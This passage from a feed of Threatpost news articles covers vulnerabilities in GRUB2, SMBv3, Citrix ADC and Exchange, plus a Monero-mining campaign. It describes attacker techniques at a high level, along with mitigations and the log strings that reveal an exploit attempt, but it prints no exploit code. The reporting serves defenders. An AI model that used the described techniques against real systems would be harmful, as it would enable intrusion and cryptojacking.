and executables,\u201d researchers wrote in the [firm\u2019s analysis](<https://eclypsium.com/2020/07/29/theres-a-hole-in-the-boot/>), released on Wednesday. As a result, Secure Boot doesn\u2019t check it. Thus, an attacker could modify the contents of the GRUB2 configuration file to include attack code. And further, that file is loaded before the operating system is loaded, so the attack code runs first.\n\n\u201cIn this way, attackers gain persistence on the device,\u201d explained researchers.\n\nOn the technical front, Red Hat noted that the grub.cfg file is composed of several string tokens.\n\n\u201cThe configuration file is loaded and parsed at GRUB initialization right after the initial boot loader, called shim, has loaded it,\u201d the project said in [an advisory](<https://access.redhat.com/security/vulnerabilities/grub2bootloader>) issued on Wednesday. \u201cDuring the parser stage, the configuration values are copied to internal buffers stored in memory. Configuration tokens that are longer in length than the internal buffer size end up leading to a buffer overflow issue. An attacker may leverage this flaw to execute arbitrary code, further hijacking the machine\u2019s boot process and bypassing Secure Boot protection. Consequently, it is possible for unsigned binary code to be loaded, further jeopardizing the integrity of the system.\u201d\n\nOnce in, attackers have \u201cnear total control\u201d over a target machine: \u201cOrganizations should be monitoring their systems for threats and ransomware that use vulnerable bootloaders to infect or damage systems,\u201d according to the analysis.\n\nThe bug carries a high-severity CVSS rating of 8.2 (Red Hat deems it \u201cmoderate\u201d in severity, and Microsoft [characterizes it as \u201cimportant\u201d](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV200011>)). BootHole likely avoided a critical rating because in order to exploit it, an attacker would need to first gain administrative privileges.\n\n\u201cAn attacker would first need to establish access to the system such as gaining physical access, obtain the ability to alter a pxe-boot network, or have remote access to a networked system with root access,\u201d according to Red Hat.\n\nThe bad news is that GRUB2 is nearly ubiquitous across the computing landscape.\n\n\u201cThe vulnerability is in the GRUB2 bootloader utilized by most Linux systems,\u201d the researchers said. \u201cThe problem also extends to any Windows device that uses Secure Boot with the standard Microsoft Third Party UEFI Certificate Authority.\u201d\n\nThey added that the majority of computers (laptops, desktops, servers and workstations) are vulnerable, and that the vulnerability also affects network appliances, proprietary gear specific to healthcare, financial and other verticals, internet-of-things (IoT) devices, and operational technology (OT) and SCADA equipment in industrial environments. In all, billions of devices are susceptible.\n\nWorse, no simple patch or firmware update can fix the issue, according to Eclypsium.\n\n\u201cMitigation is complex and can be risky and will require the specific vulnerable program to be signed and deployed, and vulnerable programs should be revoked to prevent adversaries from using older, vulnerable versions in an attack,\u201d the researchers said. \u201cThe three-stage mitigation process will likely take years for organizations to complete patching.\u201d\n\nOn the supplier side, the fix will require the release of new installers and bootloaders for all versions of Linux, as well as new versions of vendors\u2019 \u201cshims\u201d (the aforementioned first-stage boot loaders) to be signed by the Microsoft Third-Party UEFI certificate authority, Eclypsium warned. Also, hardware-makers that provision their own keys into their hardware at the factory level (which sign GRUB2 directly) will need to provide updates, and revoke their own vulnerable versions of GRUB2.\n\n\u201cIt is important to note that until all affected versions are added to the [Secure Boot revocation list, a.k.a. dbx], an attacker would be able to use a vulnerable version of shim and GRUB2 to attack the system,\u201d researchers explained. \u201cThis means that every device that trusts the Microsoft 3rd Party UEFI CA will be vulnerable for that period of time.\u201d\n\nEclypsium has coordinated responsible disclosure of BootHole with a raft of affected vendors and Linux distros, including Microsoft, the UEFI Security Response Team (USRT), Oracle, Red Hat (Fedora and RHEL), Canonical (Ubuntu), SuSE (SLES and openSUSE), Debian, Citrix, VMware, and various OEMs and software vendors, several of which have issued [their own advisories](<https://www.debian.org/security/2020-GRUB-UEFI-SecureBoot/>).\n\nMicrosoft will be releasing a set of signed dbx updates, which can be applied to systems to block shims that can be used to load the vulnerable versions of GRUB2, according to Eclypsium.\n\n\u201cDue to the risk of bricking systems or otherwise breaking operational or recovery workflows, these dbx updates will initially be made available for interested parties to manually apply to their systems rather than pushing the revocation entries and applying them automatically,\u201d the firm noted. \u201cOrganizations should additionally ensure they have appropriate capabilities for monitoring UEFI bootloaders and firmware and verifying UEFI configurations, including revocation lists, in their systems.\u201d\n\nOrganizations should also test device-recovery capabilities, including the \u201creset to factory defaults\u201d functionality, so they can recover it if a device is negatively impacted by an update.\n\n**_Complimentary Threatpost Webinar_**_: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c_**_[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)_**_\u201d brings top cloud-security experts together to explore how _**_Confidential Computing_**_ is a game changer for securing dynamic cloud data and preventing IP exposure. Join us _**_[Wednesday Aug. 12 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) _**_for this_**_ FREE _**_live webinar._\n\n_ _\n", "cvss3": {}, "published": "2020-07-29T19:53:23", "type": "threatpost", "title": "Billions of Devices Impacted by Secure Boot Bypass", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-10713", "CVE-2020-5135"], "modified": "2020-07-29T19:53:23", "id": "THREATPOST:D2BB5A9DDB021A7E256A4E0D8A6BDA55", "href": "https://threatpost.com/billions-of-devices-impacted-secure-boot-bypass/157843/", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:24:14", "description": "The release of a fully functional proof-of-concept (PoC) exploit for a critical, wormable remote code-execution (RCE) vulnerability in Windows could spark a wave of cyberattacks, the feds have warned.\n\nMicrosoft patched the bug tracked as [CVE-2020-0796](<https://threatpost.com/wormable-unpatched-microsoft-bug/153632/>) back in March; also known as SMBGhost or CoronaBlue, it affects Windows 10 and Windows Server 2019. It exists in version 3.1.1 of the Microsoft Server Message Block (SMB) protocol \u2013 the same protocol that was targeted by the infamous [WannaCry ransomware](<https://threatpost.com/wannacry-infested-laptop-art-auction/144992/>) in 2017. SMB is a file-sharing system that allows multiple clients to access shared folders, and can provide a rich playground for malware when it comes to lateral movement and client-to-client infection.\n\nIn this case, the bug is an integer overflow vulnerability in the SMBv3.1.1 message decompression routine of the kernel driver srv2.sys.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nMicrosoft released its fix, KB4551762, as an update for Windows 10 (versions 1903 and 1909) and Windows Server 2019 (versions 1903 and 1909).\n\n\u201cAlthough Microsoft disclosed and provided updates for this vulnerability in March 2020, malicious cyber-actors are targeting unpatched systems with the new PoC, according to recent open-source reports,\u201d [warned](<https://www.us-cert.gov/ncas/current-activity/2020/06/05/unpatched-microsoft-systems-vulnerable-cve-2020-0796>) the Cybersecurity and Infrastructure Security Agency (CISA) on Friday. \u201cCISA strongly recommends using a firewall to block SMB ports from the internet and to apply patches to critical- and high-severity vulnerabilities as soon as possible.\u201d\n\nThe author behind the PoC, who goes by \u201cChompie,\u201d announced [his exploit](<https://github.com/chompie1337/SMBGhost_RCE_PoC/blob/master/README.md>) last week on Twitter. Several replies followed the original post, confirming that the exploit does in fact work.\n\n> This was a pain \ud83d\ude02. But I was able to achieve RCE with CVE 2020-0796 [#SMBGhost](<https://twitter.com/hashtag/SMBGhost?src=hash&ref_src=twsrc%5Etfw>). [pic.twitter.com/mvQ0YQt9GT](<https://t.co/mvQ0YQt9GT>)\n> \n> \u2014 chompie (@chompie1337) [June 1, 2020](<https://twitter.com/chompie1337/status/1267327689213517825?ref_src=twsrc%5Etfw>)\n\nThe PoC is notable because it achieves RCE \u2013 previous attempts to exploit SMBGhost have resulted only in denial of service or local privilege escalation, according to security analysts.\n\n\u201cWhile there have already been many public reports and PoCs of LPE (Local Privilege Escalation), none of them have shown that RCE is actually possible so far,\u201d said researchers at Ricerca Security, who did [a full writeup](<https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html>) of Chompie\u2019s exploit. \u201cThis is probably because remote kernel exploitation is very different from local exploitation in that an attacker can\u2019t utilize useful OS functions such as creating userland processes, referring to PEB, and issuing system calls.\u201d\n\nWindows 10 also has specific mitigations that make RCE a much more difficult thing to achieve, they noted.\n\n\u201cIn the latest version of Windows 10, RCE became extremely challenging owing to almost flawless address randomization,\u201d the researchers explained. \u201cIn a nutshell, we defeat this mitigation by abusing MDL (memory descriptor list)s, structs frequently used in kernel drivers for Direct Memory Access. By forging this struct, we make it possible to read from \u2018physical\u2019 memory. As basically no exception will occur when reading physical memory locations, we obtain a stable read primitive.\u201d\n\nTo protect networks, administrators should apply the updates; Microsoft also has offered [workaround guidance](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796>) for those that can\u2019t patch. For instance, on the server side, companies can disable SMBv3 compression to block unauthenticated attackers, using a PowerShell command: Set-ItemProperty -Path \u201cHKLM:\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters\u201d DisableCompression -Type DWORD -Value 1 -Force. No reboot is necessary.\n\nTo protect unpatched SMB clients, Microsoft [noted that it\u2019s possible](<https://support.microsoft.com/en-us/help/3185535/preventing-smb-traffic-from-lateral-connections>) to block traffic via firewalls and other methods. Companies can for instance simply block TCP port 445 at the enterprise perimeter firewall (though systems could still be vulnerable to attacks from within their enterprise perimeter).\n", "cvss3": {}, "published": "2020-06-08T15:54:41", "type": "threatpost", "title": "SMBGhost RCE Exploit Threatens Corporate Networks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0796", "CVE-2020-5135"], "modified": "2020-06-08T15:54:41", "id": "THREATPOST:A7995232CE91305C94B84BB400B1EA34", "href": "https://threatpost.com/smbghost-rce-exploit-corporate-networks/156391/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:31:10", "description": "About one in five of the 80,000 companies affected by a critical bug in the Citrix Application Delivery Controller (ADC) and Citrix Gateway are still at risk from a trivial attack on their internal operations.\n\nIf exploited, the flaw could allow unauthenticated attackers to gain remote access to a company\u2019s local network and carry out arbitrary code-execution. Researchers told Threatpost that other attacks are also possible, including denial-of-service (DoS) campaigns, data theft, lateral infiltration to other parts of the corporate infrastructure, and phishing.\n\nAccording to an assessment from Positive Technologies, which disclosed the software vulnerability in December (tracked as [CVE-2019-19781](<https://threatpost.com/critical-citrix-bug-80000-corporate-lans-at-risk/151444/>)), 19 percent of vulnerable organizations in 158 countries have yet to patch. The U.S. originally accounted for 38 percent of all vulnerable organizations; about 21 percent of those are still running vulnerable instances of the products as of this week, PT said.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe Citrix products (formerly the NetScaler ADC and Gateway) are used for application-aware traffic management and secure remote access, respectively.\n\n\u201cPatching this bug should be an urgent priority for all remaining companies affected,\u201d said Mikhail Klyuchnikov, an expert at PT who discovered the flaw, speaking to Threatpost. \u201cThe critical vulnerability allows attackers to obtain direct access to the company\u2019s local network from the internet. This attack does not require access to any accounts, and therefore can be performed by any external attacker.\u201d\n\nHe added, \u201cThe flaw is really easy to exploit. It\u2019s also very reliable.\u201d[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/02/07094404/PT_Citrix_NewMap-EN-1024x529.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/02/07094404/PT_Citrix_NewMap-EN.jpg>)\n\nSince Citrix is mainly used for giving remote access to applications in companies\u2019 internal networks, Klyuchnikov told Threatpost that a compromise could easily used as a foothold to move laterally across a victim organization.\n\n\u201cThe critical information about applications accessible by Citrix can be leaked,\u201d he explained. \u201cThat could possibly include information (and possibly credentials) about internal web applications, corporate applications, remote desktops and other applications available through the Citrix Gateway.\u201d\n\nAttackers also could gain the ability to read configuration files, he said; these contain sensitive information like user credentials, yet more information about the internal network and credentials for internal services (LDAP, RADIUS and so on).\n\n\u201cDepending on system settings, attackers can get administrative credentials for the Citrix Gateway, credentials (login, password, etc.) of company employees and credentials of other services used in Citrix Gateway [from the configuration files],\u201d he said.\n\nAdding insult to injury, various other kinds of attacks are possible as well.\n\n\u201c[An attacker] can conduct DoS attacks against Citrix Gateway, just deleting its critical files,\u201d the researcher explained to Threatpost. \u201cIt can lead to unavailability of the login page of Citrix application. Thus, no one (e.g. company employees) can get access into internal network using Citrix gateway. In other words, the Citrix gateway application will cease to do its main task for which it was installed.\u201d\n\nIt\u2019s also possible to conduct phishing attacks. For example, a hacker can change the login page so that the entered username and password is obtained by the attacker as clear text.\n\nAnd then there\u2019s the remote code-execution danger: \u201cAn attacker can use a compromised application as part of a botnet or for cryptocurrency mining. And of course, it can place malicious files in this application,\u201d Klyuchnikov noted.\n\nIn-the-wild attacks could be imminent: On January 8, a researcher [released an exploit](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) that allows a potential attacker to perform automated attacks. Others followed.\n\nhttps://twitter.com/GossiTheDog/status/1214892555306971138\n\nCitrix did not disclose many details about the vulnerability [in its security advisory](<https://support.citrix.com/article/CTX267027>), however, Qualys researchers last month said that the mitigation steps offered by the vendor suggest the flaw stems from the VPN handler failing to sufficiently sanitize user-supplied inputs.\n\nAccording to PT, the countries with the greatest numbers of vulnerable companies are led by Brazil (43 percent of all companies where the vulnerability was originally detected), China (39 percent), Russia (35 percent), France (34 percent), Italy (33 percent) and Spain (25 percent). The USA, Great Britain, and Australia each stand at 21 percent of companies still using vulnerable devices without any protection measures.\n\nLast month, Citrix [issued patches](<https://support.citrix.com/article/CTX267027>) for several product versions to fix the issue, [ahead of schedule](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>).\n\n\u201cConsidering how long this vulnerability has been around (since the first vulnerable version of the software was released in 2014), detecting potential exploitation of this vulnerability (and, therefore, infrastructure compromise) retrospectively becomes just as important [as patching],\u201d Klyuchnikov said.\n\nHe added, \u201cI think it\u2019s easy to apply the patch, as there is already a regular update for the hardware that fixes the vulnerability. Nothing should get in the way, as there is a full update from Citrix.\u201d\n\n**Learn how Operational Technology and Information Technology systems are merging and changing security playbooks in this free Threatpost Webinar. Join us **[**Wednesday, Feb. 19 at 2 p.m. ET**](<https://attendee.gotowebinar.com/register/2652328115100076035?source=art>)** when a panel of OT and IT security experts will discuss how this growing trend is shaping security approaches for IoT and 5G rollouts. This webinar is for security and DevOps engineers, IoT edge developers and security executives.**\n", "cvss3": {}, "published": "2020-02-07T15:32:52", "type": "threatpost", "title": "Critical Citrix RCE Flaw Still Threatens 1,000s of Corporate LANs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-19781", "CVE-2020-5135"], "modified": "2020-02-07T15:32:52", "id": "THREATPOST:B53DDA5AD9C6530F631391E064A0D4FA", "href": "https://threatpost.com/critical-citrix-rce-flaw-corporate-lans/152677/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:25:29", "description": "A Monero cryptocurrency-mining campaign has emerged that exploits a known vulnerability in public-facing web applications built on the ASP.NET open-source web framework.\n\nThe campaign has been dubbed Blue Mockingbird by the analysts at Red Canary that discovered the activity. Research uncovered that the cybercriminal gang is exploiting a deserialization vulnerability, [CVE-2019-18935](<https://nvd.nist.gov/vuln/detail/CVE-2019-18935>), which can allow remote code execution. The bug is found in the Progress Telerik UI front-end offering for ASP.NET AJAX.\n\nAJAX stands for Asynchronous JavaScript and XML; It\u2019s used to add script to a webpage which is executed and processed by the browser. Progress Telerik UI is an overlay for controlling it on ASP.NET implementations.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe vulnerability lies specifically in the RadAsyncUpload function, according to the writeup on the bug in the National Vulnerability Database. This is exploitable when the encryption keys are known (via another exploit or other attack), meaning that any campaign relies on a chaining of exploits.\n\nIn the current attacks, Blue Mockingbird attackers are uncovering unpatched versions of Telerik UI for ASP.NET, deploying the [XMRig Monero-mining payload](<https://threatpost.com/oracle-weblogic-exploit-gandcrab-xmrig/144419/>) in dynamic-link library (DLL) form on Windows systems, then executing it and establishing persistence using multiple techniques. From there, the infection propagates laterally through the network.\n\nThe activity appears to stretch back to December, according to the analysis, and continued through April at least.\n\nXMRig is open-source and can be compiled into custom tooling, according to the analysis. Red Canary has observed three distinct execution paths: Execution with rundll32.exe explicitly calling the DLL export fackaaxv; execution using regsvr32.exe using the /s command-line option; and execution with the payload configured as a Windows Service DLL.\n\n\u201cEach payload comes compiled with a standard list of commonly used Monero-mining domains alongside a Monero wallet address,\u201d explained researchers at Red Canary, in a [Thursday writeup](<https://redcanary.com/blog/blue-mockingbird-cryptominer/>). \u201cSo far, we\u2019ve identified two wallet addresses used by Blue Mockingbird that are in active circulation. Due to the private nature of Monero, we cannot see the balance of these wallets to estimate their success.\u201d\n\nTo establish persistence, Blue Mockingbird actors must first elevate their privileges, which they do using various techniques; for instance, researchers observed them using a JuicyPotato exploit to escalate privileges from an IIS Application Pool Identity virtual account to the NT Authority\\SYSTEM account. In another instance, the Mimikatz tool (the official signed version) was used to access credentials for logon.\n\nArmed with the proper privileges, Blue Mockingbird leveraged multiple persistence techniques, including the use of a COR_PROFILER COM hijack to execute a malicious DLL and restore items removed by defenders, according to Red Canary.\n\n\u201cTo use COR_PROFILER, they used wmic.exe and Windows Registry modifications to set environment variables and specify a DLL payload,\u201d the writeup explained.\n\nBlue Mockingbird likes to move laterally to distribute mining payloads across an enterprise, added researchers. The attackers do this by using their elevated privileges and Remote Desktop Protocol (RDP) to access privileged systems, and then Windows Explorer to then distribute payloads to remote systems.\n\nAlthough Blue Mockingbird has been making noticeable waves, the toolkit is a work in progress.\n\n\u201cIn at least one engagement, we observed Blue Mockingbird seemingly experimenting with different tools to create SOCKS proxies for pivoting,\u201d said the researchers. \u201cThese tools included a fast reverse proxy (FRP), Secure Socket Funneling (SSF) and Venom. In one instance, the adversary also tinkered with PowerShell reverse TCP shells and a reverse shell in DLL form.\u201d\n\nIn terms of preventing the threat, patching web servers, web applications and dependencies of the applications to inhibit initial access is the best bet, according to Red Canary.\n\n**_Inbox security is your best defense against today\u2019s fastest growing security threat \u2013 phishing and Business Email Compromise attacks. _**[**_On May 13 at 2 p.m. ET_**](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>)**_, join Valimail security experts and Threatpost for a FREE webinar, _**[**_5 Proven Strategies to Prevent Email Compromise_**](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>)**_. Get exclusive insights and advanced takeaways on how to lockdown your inbox to fend off the latest phishing and BEC assaults. Please _**[**_register here _**](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>)**_for this sponsored webinar._**\n\n_**Also, don\u2019t miss our latest on-demand webinar from DivvyCloud and Threatpost, **_[_**A Practical Guide to Securing the Cloud in the Face of Crisis**_](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)_**, with critical, advanced takeaways on how to avoid cloud disruption and chaos.**_\n", "cvss3": {}, "published": "2020-05-07T21:01:37", "type": "threatpost", "title": "Blue Mockingbird Monero-Mining Campaign Exploits Web Apps", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-18935", "CVE-2020-5135"], "modified": "2020-05-07T21:01:37", "id": "THREATPOST:A94AAFAF28062A447CCD0F4C47FFD78C", "href": "https://threatpost.com/blue-mockingbird-monero-mining/155581/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:27:36", "description": "UPDATE\n\nMicrosoft released an emergency out-of-band patch to fix a SMBv3 wormable bug on Thursday that leaked earlier this week. The a patch for the vulnerability, tracked as CVE-2020-0796, is now rolling out to Windows 10 and Windows Server 2019 systems worldwide, according to Microsoft.\n\nOn Wednesday Microsoft warned of a wormable, unpatched remote code-execution vulnerability in the Microsoft Server Message Block protocol \u2013 the same protocol that was targeted by the infamous WannaCry ransomware in 2017. Microsoft released its fix, [KB4551762](<https://support.microsoft.com/en-us/help/4551762/windows-10-update-kb4551762>), the following day as an update for Windows 10 (versions 1903 and 1909) and Windows Server 2019 (versions 1903 and 1909).\n\nThe critical bug affects Windows 10 and Windows Server 2019, and was not included in Microsoft\u2019s [Patch Tuesday release](<https://threatpost.com/microsoft-patches-bugs-march-update/153597/>) this week.\n\nThe bug can be found in version 3.1.1 of Microsoft\u2019s SMB file-sharing system. SMB allows multiple clients to access shared folders and can provide a rich playground for malware when it comes to lateral movement and client-to-client infection. This was played out in version 1 of SMB back in 2017, when the [WannaCry ransomware](<https://threatpost.com/one-year-after-wannacry-a-fundamentally-changed-threat-landscape/132047/>) used the NSA-developed [EternalBlue SMB exploit](<https://threatpost.com/scanner-shows-eternalblue-vulnerability-unpatched-on-thousands-of-machines/126818/>) to self-propagate rapidly around the world.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nIn this case, \u201cto exploit the vulnerability against an SMB server, an unauthenticated attacker could send a specially crafted packet to a targeted SMBv3 server,\u201d Microsoft explained [in its advisory](<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/ADV200005#ID0EN>), issued Wednesday. \u201cTo exploit the vulnerability against an SMB client, an unauthenticated attacker would need to configure a malicious SMBv3 server and convince a user to connect to it.\u201d\n\nMicrosoft issued its advisory only after details of the bug were published online by Cisco Talos and Fortinet. The firms\u2019 disclosure was an apparent miscommunication with Microsoft \u2013 both posts have since been taken down.\n\nAccording to [Duo Security](<https://duo.com/decipher/microsoft-advisory-warns-of-smbv3-flaw>), Fortinet had described the issue as a \u201cBuffer Overflow Vulnerability in Microsoft SMB Servers\u201d and said it could be used to execute arbitrary code within the context of the application. Cisco Talos meanwhile warned that a \u201cwormable\u201d attack would be able to exploit the vulnerability to \u201cmove from victim to victim.\u201d\n\nThreatpost reached out to both firms for additional details. Cisco Talos told Threatpost, \u201cOn March 10, information on an in-process effort was inadvertently posted and then promptly deleted from the Talos blog because it was not finalized. As a matter of policy, we do not discuss research that has not yet been approved for public disclosure. We are aware that this may have caused some confusion and will follow up when we have more to offer.\u201d\n\nWhile the bug is dangerous, researchers said this bug likely won\u2019t lead to \u201cWannaCry 2.0.\u201d\n\n\u201cConsidering that SMBv3 is not as widely used as SMBv1, the potential immediate impact of this threat is most likely lower than past vulnerabilities,\u201d Richard Melick, senior technical product manager at Automox, told Threatpost. \u201cBut that does not mean organizations should be disregarding any endpoint hardening that can happen now while Microsoft works on a patch\u2026it\u2019s better to respond today and disable SMBv3 and block TCP port 445. Respond now and vulnerabilities end today.\u201d\n\nJake Williams, founder of security firm Rendition Security, [said on Twitter](<https://twitter.com/MalwareJake/status/1237512617817751552>) that the risk of exploitation is mitigated by kernel protections \u2013 specifically kernel address space layout randomization (KASLR). KASLR randomly arranges the address space positions of key data areas of a given process. It essentially means that an attacker can\u2019t establish one attack path and use it over and over again.\n\n\u201cCore SMB sits in kernel space and KASLR is great at mitigating exploitation,\u201d tweeted Williams. \u201cAssuming this is kernel space, any unsuccessful exploitation results in [the blue screen of death] BSOD.\u201d He added, \u201cEven with trigger code, you still have to remotely bypass KASLR (not an easy task). If you need proof, [look at BUCKEYE](<https://symantec-blogs.broadcom.com/blogs/threat-intelligence/buckeye-windows-zero-day-exploit>). They had the EternalBlue trigger, but had to chain it with another information disclosure vulnerability to gain code execution. This isn\u2019t easy.\u201d\n\nSo far, there\u2019s no evidence that the vulnerability had been exploited in the wild, Microsoft said in the advisory. However, Melick said to proceed with caution.\n\n\u201cThere are still too many unknowns to say how effective this wormable vulnerability could be; is it going to be as easy as EternalBlue to implement or will it have the same difficulties as BlueKeep?\u201d Melick noted \u2013 the latter in reference to the [wormable bug](<https://threatpost.com/bluekeep-mega-worm-looms-as-fresh-poc-shows-full-system-takeover/145368/>) disclosed last year that some feared would lead to another WannaCry-level event. Exploits for BlueKeep however have so far [fallen well short](<https://threatpost.com/bluekeep-attacks-have-arrived-are-initially-underwhelming/149829/>) of researchers\u2019 initial fears.\n\nIn lieu of a patch, Microsoft on Wednesday noted that administrators can use PowerShell to disable SMBv3 compression, which will block unauthenticated attackers from exploiting the vulnerability against an SMBv3 server.\n\nTo protect clients from outside attacks, it\u2019s necessary to block TCP port 445 at the enterprise perimeter firewall.\n\n\u201cTCP port 445 is used to initiate a connection with the affected component,\u201d Microsoft noted. \u201cBlocking this port at the network perimeter firewall will help protect systems that are behind that firewall from attempts to exploit this vulnerability. This can help protect networks from attacks that originate outside the enterprise perimeter. Blocking the affected ports at the enterprise perimeter is the best defense to help avoid internet-based attacks.\u201d\n\nHowever, systems could still be vulnerable to attacks from within the enterprise perimeter \u2013 so once attackers penetrate the corporate network, they could use an exploit to move around in an unfettered way. Microsoft has published [general guidelines](<https://support.microsoft.com/en-us/help/3185535/preventing-smb-traffic-from-lateral-connections>) to prevent lateral connections.\n\n**_Interested in security for the Internet of Things and how 5G will change things? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n\n_(This article was updated March 12 with the news that Microsoft has released a patch for CVE-2020-0796)_\n", "cvss3": {}, "published": "2020-03-11T17:13:53", "type": "threatpost", "title": "Wormable, Unpatched Microsoft Bug Threatens Corporate LANs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0796", "CVE-2020-5135"], "modified": "2020-03-11T17:13:53", "id": "THREATPOST:0EAD358006302B8EB3637C22334E13DC", "href": "https://threatpost.com/wormable-unpatched-microsoft-bug/153632/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:11:08", "description": "Over half of exposed Exchange servers are still vulnerable to a severe bug that allows authenticated attackers to execute code remotely with system privileges \u2013 even eight months after Microsoft issued a fix.\n\nThe vulnerability in question ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server. The flaw, which stems from the server failing to properly create unique keys at install time, was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates \u2013 and [admins in March were warned](<https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/>) that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors.\n\nHowever, new telemetry found that out of 433,464 internet-facing Exchange servers observed, at least 61 percent of Exchange 2010, 2013, 2016 and 2019 servers are still vulnerable to the flaw.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThere are two important efforts that Exchange administrators and infosec teams need to undertake: verifying deployment of the update and checking for signs of compromise,\u201d said Tom Sellers with Rapid7 [in a Tuesday analysis](<https://blog.rapid7.com/2020/04/06/phishing-for-system-on-microsoft-exchange-cve-2020-0688/>).\n\n> Speaking of Exchange, we took another look at Exchange CVE-2020-0688 (any user -> SYSTEM on OWA). \n> \n> It's STILL 61% unpatched. \n> \n> This is dangerous as hell and there is a reliable Metasploit module for it.\n> \n> See the UPDATED information on the ORIGINAL blog:<https://t.co/DclWb3T0mZ>\n> \n> \u2014 Tom Sellers (@TomSellers) [September 29, 2020](<https://twitter.com/TomSellers/status/1310991824828407808?ref_src=twsrc%5Etfw>)\n\nResearchers warned [in a March advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) that unpatched servers are being exploited in the wild by unnamed APT actors. Attacks [first started in late February](<https://www.tenable.com/blog/cve-2020-0688-microsoft-exchange-server-static-key-flaw-could-lead-to-remote-code-execution?utm_source=charge&utm_medium=social&utm_campaign=internal-comms>) and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks, post-exploitation.\n\n[Previously, in April](<https://threatpost.com/serious-exchange-flaw-still-plagues-350k-servers/154548/>), Rapid7 researchers found that more than 80 percent of servers were vulnerable; out of 433,464 internet-facing Exchange servers observed, at least 357,629 were open to the flaw (as of March 24). Researchers used Project Sonar, a scanning tool, to analyze internet-facing Exchange servers and sniff out which were vulnerable to the flaw.\n\n[![microsoft exchange RCE flaw](https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/30094515/cve-2020-0688_vulnerability_status-225x300.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/30094515/cve-2020-0688_vulnerability_status.png>)\n\nExchange build number distribution status for flaw. Credit: Rapid7\n\nSellers urged admins to verify that an update has been deployed. The most reliable method to do so is by checking patch-management software, vulnerability-management tools or the hosts themselves to determine whether the appropriate update has been installed, he said.\n\n\u201cThe update for CVE-2020-0688 needs to be installed on any server with the Exchange Control Panel (ECP) enabled,\u201d he said. \u201cThis will typically be servers with the Client Access Server (CAS) role, which is where your users would access the Outlook Web App (OWA).\u201d\n\nWith the ongoing activity, admins should also determine whether anyone has attempted to exploit the vulnerability in their environment. The exploit code that Sellers tested left log artifacts in the Windows Event Log and the IIS logs (which contain HTTP server API kernel-mode cache hits) on both patched and unpatched servers: \u201cThis log entry will include the compromised user account, as well as a very long error message that includes the text invalid viewstate,\u201d he said.\n\nAdmins can also review their IIS logs for requests to a path under /ecp (usually /ecp/default.aspx), Sellers said, These should contain the string __VIEWSTATE and __VIEWSTATEGENERATOR \u2013 and will have a long string in the middle of the request that is a portion of the exploit payload.\n\n\u201cYou will see the username of the compromised account name at the end of the log entry,\u201d he said. \u201cA quick review of the log entries just prior to the exploit attempt should show successful requests (HTTP code 200) to web 